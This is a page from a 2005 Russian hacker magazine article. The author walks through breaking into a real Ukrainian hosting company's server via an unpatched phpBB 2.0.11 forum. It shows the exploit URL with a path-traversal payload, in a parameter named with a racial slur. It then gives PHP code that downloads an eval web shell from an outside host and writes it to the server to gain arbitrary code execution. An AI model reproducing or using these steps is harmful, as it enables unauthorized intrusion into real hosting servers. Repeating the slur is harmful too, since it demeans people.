Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #81, СЕНТЯБРЬ 2005 г.

Поднимаем железный занавес

Александр Любимов aka Sashiks

Хакер, номер #081, стр. 081-054-2


А мы тем временем попробуем научиться обходить хотя бы часть из этих строгих ограничений. Конечно, на примере реального хостинга.

[незаменимая практика]

Для своих тестов я выбрал не просто обычного ISP, а хостинговый сервер одной из самых уважаемых и известных украинских компаний с большим количеством серверов и мощной службой поддержки. Поэтому все, что я опишу далее, справедливо для большей части остальных хостеров. Так же следует отметить, что эксперименты я проводил и на ряде зарубежных хостингов, и все описанные в этой статье приемы успешно функционировали и там. Но не буду забегать вперед.

Вообще, вся эта история началась пару месяцев назад, когда мне захотелось надломить сервер как раз этой украинской хостинговой компании, о которой пойдет речь ниже. После недолгих поисков бажных php-сценариев, я наткнулся на банальный непропатченный и всеми любимый phpBB 2.0.11. Закачав и запустив сплоит (http://unixforge.org/~sshx/x/phpbb.exe), который, по идее, дает право выполнять произвольный php-код на целевой системе, я получил в ответ следующее:

http://fakin.farlep.net/forum/admin/admin_styles.php?mode=addnew&install_t

o=../../../../../../../../../../../../../../../../../../../tmp&nigga=phpinfo();&

sid=5d9732ae67ed3b6657fc909c10e5f4b4

Однако, было одно «но». Вместо ожидаемого вывода phpinfo() вывелась ошибка: Warning: phpinfo() has been disabled for security reasons. Как выяснилось чуточку позже, системные функции выполнять было тоже нельзя, и ситуация была довольно неприятная, что говорить. Однако именно она заставила меня искать замену стандартным способам общения сервера через system(). Итак, давай выясним что мы имеем: системные команды выполнять мы не можем, следовательно, и исследовать файловую систему нельзя, заливать файлы и просматривать содержимое тоже. Но мы все еще можем выполнять код в функции eval(), которая интерпретирует php-код, то есть теперь нам нужно все необходимые функции для общения с сервером написать самому и передавать их на выполнение в eval(). В первую очередь необходимо записать на удаленную машину web-форму eval шелла, чтобы ему отдавать на обработку наш php-код. Для этого в переменную nigga передаем следующий сценарий:

[запись файла]

<?php

$filen="http://unixforge.org/~sshx/x/eval_shell.php.txt";

$file_new="eval_shell.php";

$data = implode("", file($filen));

$fp = fopen($file_new, "w");

fputs($fp, $data);

fclose($fp);

?>

Думаю, в особых комментариях код не нуждается. Получаем хэндл файла для записи, а в $file_new пишем содержимое нашего файла. Замечу, что можно записывать как файлы с локальной машины, так и удаленно, если для fopen() не блокируется открытие сокетов.

Теперь в текущую папку будет записана web-форма, через которую мы в дальнейшем будем выполнять произвольный код. Собственно, некое подобие рhp-shell'a у нас есть, но от нормального шелла он будет отличаться тем, что мы будем использовать свои функции для навигации по ФС и работы с файлами, что немного неудобно и сначала непривычно. Настало время заняться написанием скриптов. Вот что нам нужно в первую очередь:

Назад на стр. 081-054-1  Содержание  Вперед на стр. 081-054-3